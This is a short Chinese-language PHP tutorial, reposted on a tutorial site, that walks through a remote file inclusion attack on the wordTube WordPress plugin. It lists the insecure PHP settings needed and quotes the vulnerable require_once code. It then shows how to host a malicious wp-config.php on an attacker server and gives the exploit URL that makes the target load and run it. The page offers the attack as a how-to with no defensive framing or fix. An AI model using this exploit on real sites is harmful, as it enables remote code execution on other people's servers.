Home > Backend Development > PHP Tutorial > 修改部分php配置实现 远程包含 攻击

修改部分php配置实现 远程包含 攻击

WBOY
Release: 2016-06-23 14:37:31
Original
1024 people have browsed it

1. 调试期间,可以打开display_errors = On

2. 目标机使用了include、require或require_once

3. 目标机配置

  a) register_globals = On

  b) allow_url_fopen = On

  c) allow_url_include = On

这样的目标就可以进行攻击了

自己搭建简易的服务器,apache + php 即可

修改httpd.conf中,将后缀为php的,从而避免代码在攻击端就被执行,

#AddType application/x-httpd-php .php .html .htm

根据漏洞代码,生成对应的环境,例如:

if (!$_POST) $wppath=$_GET['wpPATH'];

else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');

我们就可以建立一个可访问的文件夹bad_guy,

增加读权限order allow,deny allow from all ,

然后在里面新建一个wp-config.php

<?php        mkdir('c:\exploit');        phpinfo();        exit;?>
Copy after login

~然后请求一下就行了

/wordpress/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://10.67.1.30/bad_guy

来张效果图:

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template